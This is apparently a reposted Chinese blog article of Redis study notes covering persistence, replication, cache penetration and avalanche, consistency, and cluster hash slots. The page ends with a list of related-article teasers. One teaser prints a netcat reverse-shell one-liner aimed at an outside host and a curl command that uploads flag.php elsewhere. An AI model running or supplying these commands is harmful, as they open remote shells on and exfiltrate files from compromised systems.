超强Redis基础学习 优化 使用 常见问题

news2025/1/16 5:54:43

问题大纲

为什么Redis可以这么快?

它是纯内存操作,内存本身就很快

其次,它是单线程的,Redis服务器核心是基于非阻塞的IO多路复用机制,单线程避免了多线程的频繁上下文切换问题

Redis的持久化机制

Redis提供了持久化机制给我们用,分别是RDB和AOF

RDB指的就是:根据我们自己配置的时间或者手动去执行BGSAVE或SAVE命令,Redis就会去生成RDB文件,实际上就是一个经过压缩的二进制文件,Redis可以通过这个文件在启动的时候来还原我们的数据

AOF则是把Redis服务器接收到的所有写命令都记录到日志   Redis重跑一遍这个记录下的日志文件,就相当于还原了数据

RDB会执行SAVE或BESAVE命令,redis单个线程处理会导致低效率吗?

BGSAVE命令实际上会fork出一个子进程来进行完成持久化(生成RDB文件)

在fork的过程中,父进程(主线程)肯定是阻塞的。fork完之后,是fork出来的子进程去完成持久化,因此即使是单线程,效率也不会很低

其实Redis在较新的版本中,有些地方都使用了多线程来进行处理, 只不过,核心的处理命令请求和响应还是单线程

主从架构

为了Redis「高可用」,现在基本都会给Redis做「备份」:多启一台Redis服务器,形成「主从架构」

「从服务器」的数据由「主服务器」复制过去,主从服务器的数据是一致的

如果主服务器挂了,那可以「手动」把「从服务器」升级为「主服务器」,缩短不可用时间

「主服务器」是如何把自身的数据「复制」给「从服务器」的呢

「复制」也叫「同步」,在Redis使用的是「PSYNC」命令进行同步,该命令有两种模型:完全重同步和部分重同步

如果是第一次「同步」或者切换目标同步,数据差距过大,那就会采用「完全重同步」模式进行复制;如果只是由于网络中断,只是「短时间」断连,那就会采用「部分重同步」模式进行复制

(假如主从服务器的数据差距实在是过大了,还是会采用「完全重同步」模式进行复制)

 

缓存穿透

原因:入侵者大量查询不存在的数据  使得Redis不断去访问数据库  然而Redis也无法缓存,就导致每次都会查询数据库...数据库的并发度不高   就会宕机

解决办法

布隆过滤器:作用:拦截不存在的数据

布隆过滤器 原理:把数据的id通过多次哈希计算标记数组,新来个数据就计算哈希,看是否能验证标记,但是会有以下的误判情况

缓存击穿

某一个key设置了过期时间,当key过期的时候,恰好对这个key有大量的并发请求,导致所有的请求都落到数据库上  这些请求可能会瞬间把DB压垮

解决方案

互斥锁
逻辑过期:数据不一定完全准确,但性能方面很优

缓存雪崩 

统一时段内大量的缓存key同时失效或者Redis服务

双写一致性

有两种考察情况:

一种是要求实时性很高的

一种是允许延时一致(即延时以后再数据一致,不严格要求)

延迟双删---延时一致方案

有缺陷,但是面试爱问,如果只删除一次缓存,那么无论什么顺序都有可能脏读

而且,其实三步清除缓存也仍然有概率脏读

MQ很适用于延时一致的业务,具体用以下方式实现

互斥锁方案---要求强一致性的方案

共享锁(读锁):加锁以后只能共享读操作

排他锁(写锁):加锁以后阻塞其他读写操作,仅当前线程进行写操作

Redis集群

使用集群的原因

redis服务器升级至一定程度后  持久化的成本过高

当 Redis 需要持久化数据时,它需要将数据从内存中写入磁盘,这个过程会产生一定的性能开销。

Redis 的 RDB(Redis DataBase)持久化机制是通过 fork 子进程来实现的。当 Redis 需要持久化数据时,它会 fork 一个子进程,然后让子进程将数据写入一个临时文件。当持久化过程完成后,Redis 会使用这个临时文件来替换旧的 RDB 文件。

然而,如果 Redis 使用的内存过大,fork 子进程的过程可能会导致主线程阻塞时间过长。这是因为 fork 子进程需要复制父进程的内存空间,如果内存空间过大,这个过程就会变得非常耗时。因此,如果 Redis 使用的内存过大,就可能会导致主线程在 fork 子进程时阻塞过长时间,从而降低了 Redis 的性能。

集群解决方案

Redis Cluster是一个用于实现Redis集群的解决方案,它能够避免哨兵机制复杂的Master监控与选举操作,并方便地实现数据的分片处理,以提供更加高效的Redis解决方案。

Redis Cluster把所有的数据划分为16384个不同的槽位,并可以根据机器的性能把不同的槽位分配给不同的Redis实例。每个节点都与其他节点有关联,只需获得一个节点的信息,其他节点的信息也就可以获取到。

这些槽位被称作哈希槽,通过hash算法分配槽位,放入要缓存的数据

每个实例都会向其他实例/传播/自己负责的哈希槽,这样每台redis实例都记录有所有的关系信息了! 有了这样的映射关系,客户端也就知道去哪个实例上操作了

集群新增或者删除实例

当发生了删除或者新增时, 那么redis实例负责的哈希槽关系会发生变化

但是客户端是无感知的,因为客户端会发送请求到原来的redis实例

原来的实例会给出moved命令,告诉客户端重定向

客户端收到以后就会去新的实例请求, 并且更新本地缓存

总的来说就是

如果集群Redis实例存在变动,由于Redis实例之间会「通讯」

所以等到客户端请求时,Redis实例总会知道客户端所要请求的数据在哪个Redis实例上

如果已经迁移完毕了,那就返回「move」命令告诉客户端应该去找哪个Redis实例要数据,并且客户端应该更新自己的缓存(映射关系)

如果正在迁移中,那就返回「ack」命令告诉客户端应该去找哪个Redis实例要数据

为什么是16384个哈希槽?

「服务端 路由」的大致原理

服务端路由一般指的一种代理层,  专门对接客户端的请求,然后转发到Redis集群进行处理

现在比较流行的是Codis

它与Redis Cluster最大的区别是,Redis Cluster是直连Redis实例,而Codis则客户端直连Proxy,再由Proxy进行分发到不同的Redis实例进行处理

在Codis对Key路由的方案跟Redis Cluster很类似,Codis初始化出1024个哈希槽,然后分配到不同的Redis服务器中   哈希槽与Redis实例的映射关系由Zookeeper进行存储和管理

扩容Codis Redis实例的流程是怎么样的?

1.「原实例」某一个Solt的部分数据发送给「目标实例」。2.「目标实例」收到数据后,给「原实例」返回ack。3.「原实例」收到ack之后,在本地删除掉刚刚给「目标实例」的数据。4.不断循环1、2、3步骤,直至整个solt迁移完毕

Codis也是支持「异步迁移」的,针对上面的步骤2,「原实例」发送数据后,不等待「目标实例」返回ack,就继续接收客户端的请求。

未迁移完的数据标记为「只读」,不会影响到数据的一致性。如果对迁移中的数据存在「写操作」,那会让客户端进行「重试」,最后会写到「目标实例」上

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1146036.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

会声会影2024输出文件太大什么原因 会声会影输出文件处于保护状态什么原因

会声会影2024是一款专业的视频编辑软件,它由于简单易学的操作被众人所喜爱。在会声会影中编辑好的视频一般以渲染的形式导出保存,但是有时会出现输出文件太大的情况,这到底是什么原因呢?下面由我带大家一起来了解会声会影输出文件…

git本地搭建服务器[Vmware虚拟机访问window的git服务器]

先按照https://zhuanlan.zhihu.com/p/494988089说明下载好Gitblit然后复制到tomcat的webapps目录下,如下: 双击"startup.bat"启动tomcat: 然后访问"http://127.0.0.1:8080/gitblit/"即可看到git的界面: 说明git服务器已经能够成功运行了! Vmware虚拟机…

机器学习(五)如何理解机器学习三要素

1.8如何理解机器学习三要素 统计学习模型策略算法 模型:规律yaxb 策略:什么样的模型是好的模型?损失函数 算法:如何高效找到最优参数,模型中的参数a和b 1.8.1模型 机器学习中,首先要考虑学习什么样的…

5G 3GPP全球频谱介绍

所谓 “频谱”,是指特定类型的无线通信所在的射频范围。不同的无线技术使用不同的频谱,因此互不干扰。由于一项技术的频谱是有限的,因此频谱空间存在大量竞争,并且人们也在不断开发和增强全新的、高效率的频谱使用方式。 介绍5G …

ConcurrentHashMap 的 size()方法是线程安全的吗?为什么

ConcurrentHashMap 的 size()方法是非线程安全的。也就是说,当有线程调用 put 方法在添加元素的时候,其他线程在调用 size()方法获取的元素个数和实际存储元素个数是不一致的。原因是 size()方法是一个非同步方法,put()方法和 size()方法并没…

获取某个抖音用户的视频列表信息

思路 确定url确定并获取相关参数构造header发送请求解析数据输出数据 运行结果 代码 import requests # 获取某个用户的的视频信息,截至20231028,程序可以正常运行。 # 构造请求头header headers {User-Agent:..........................,Cookie:...…

10分钟了解JWT令牌 (JSON Web)

10分钟了解JSON Web令牌(JWT) JSON Web Token(JWT)是目前最流行的跨域身份验证解决方案。今天给大家介绍JWT的原理和用法。 1.跨域身份验证 Internet服务无法与用户身份验证分开。一般过程如下。 1.用户向服务器发送用户名和密码。…

IOC课程整理-12 Spring 国际化

1. Spring 国际化使用场景 2. Spring 国际化接口 3. 层次性 MessageSource 4. Java 国际化标准实现 5. Java 文本格式化 6. MessageSource 开箱即用实现 7. MessageSource 內建依赖 8. 课外资料 9. 面试题精选 Spring 国际化接口有哪些? • 核心接口 - MessageSour…

Linux操作系统 - 从概念上认识进程

目录 前置知识 冯诺依曼和现代计算机结构 操作系统的理解 进程的概念 进程和PCB 查看进程信息的指令 - ps 进程的一些特性 进程标识符 - PID 进程状态 进程状态的概念 Linux下的进程状态 父子进程 子进程的创建 - fork 僵尸进程 孤儿进程 进程切换 CPU上下文切…

PLC案例集合

这里写自定义目录标题 按时断电一次性按钮震荡电路上升沿和下降沿红绿灯案例抢答器未完待续 下载程序时,必须将PLC处于停机状态(STOP) 重新下载程序后,M会保持上一次程序中的状态。 所以,程序开始前要对中继进行复位 …

Windows查看核心与线程数

文章目录 前言一、可视化界面1、任务管理器2、设备管理器3、CPU-Z 二、命令或程序1、cmd命令2、Java程序 前言 查询电脑硬件CPU信息命令的学习,予以记录! 参考博客:https://blog.csdn.net/huazicomeon/article/details/53540852 一、可视化界…

【计算机网络笔记】Web缓存/代理服务器技术

系列文章目录 什么是计算机网络? 什么是网络协议? 计算机网络的结构 数据交换之电路交换 数据交换之报文交换和分组交换 分组交换 vs 电路交换 计算机网络性能(1)——速率、带宽、延迟 计算机网络性能(2)…

echarts 按需加载处理

下载内容 npm install echarts --save按需封装组件 // 引入 echarts 核心模块,核心模块提供了 echarts 使用必须要的接口。 import * as echarts from echarts/core; import echarts/lib/component/legend// 引入柱状图图表,图表后缀都为 Chart // 引入…

HarmonyOS鸿蒙原生应用开发设计- 图标库

HarmonyOS设计文档中,为大家提供了独特的图标库,开发者可以根据需要直接引用。 图标库可以分为双色图标、填充图标、线性图标。具体分为 键盘、箭头、连接状态、媒体、人、设备、索引、通信、文件、物体与工具等。 整体分类 开发者直接使用官方提供的图标…

杂牌行车记录仪mp4恢复案例

行车记录仪是一种常见的视频采集设备,随着国内汽车市场的疯涨而普及,基本上每个车上都有,这一类记录仪有的是主机厂自带的(如特斯拉),但更多的是第三方厂商生产的独立的记录仪。下面我们看一个小厂商的记录…

测开 (性能测试)

目录 前言 1、性能测试和功能测试的区别 2、性能好与不好的表现 3、性能测试衡量指标 && 名称解释 指标一:并发用户数 指标二:响应时间 / 平均响应时间 指标三:事务 指标四:点击率(Hit Per Second&…

HLS直播协议详解

文章目录 前言一、HLS 协议简介二、HLS 总体框架三、HLS 优势及劣势四、HLS 主要的应用场景五、M3U8 详解1、简介2、一级 m3u83、二级 m3u84、tag 说明①、名词说明②、tag 分类1)Basic Tags2)Media Segment Tags3)Media Playlist Tags4&…

C++单调向量算法应用:所有子数组中不平衡数字之和

涉及知识点 单调向量 题目 一个长度为 n 下标从 0 开始的整数数组 arr 的 不平衡数字 定义为&#xff0c;在 sarr sorted(arr) 数组中&#xff0c;满足以下条件的下标数目&#xff1a; 0 < i < n - 1 &#xff0c;和 sarr[i1] - sarr[i] > 1 这里&#xff0c;sort…

OSPF,RIP和BGP的路由汇总

OSPF路由汇总 OSPF的路由汇总需要注意以下两点 1.OSPF的路由汇总仅支持手动汇总 注&#xff1a;距离矢量路由协议支持自动路由汇总&#xff0c;链路状态路由协议仅支持手动路由汇总&#xff08;OSPF,ISIS&#xff09; 2.OSPF的路由汇总只在区域边界进行汇总 OSPF的路由汇总…

反弹shell和DNS外带

反弹shell讲解 system("nc s546459d57.zicp.fun 23494 -e /bin/sh"); rce无回显&#xff0c;反弹shell详解 DNS外带&#xff1a; curl -X POST -F xxflag.php http://aaa 从目标网站以POST方式向http://aaa上传一个文件&#xff0c;名字叫xx 文件内容是flag.php/…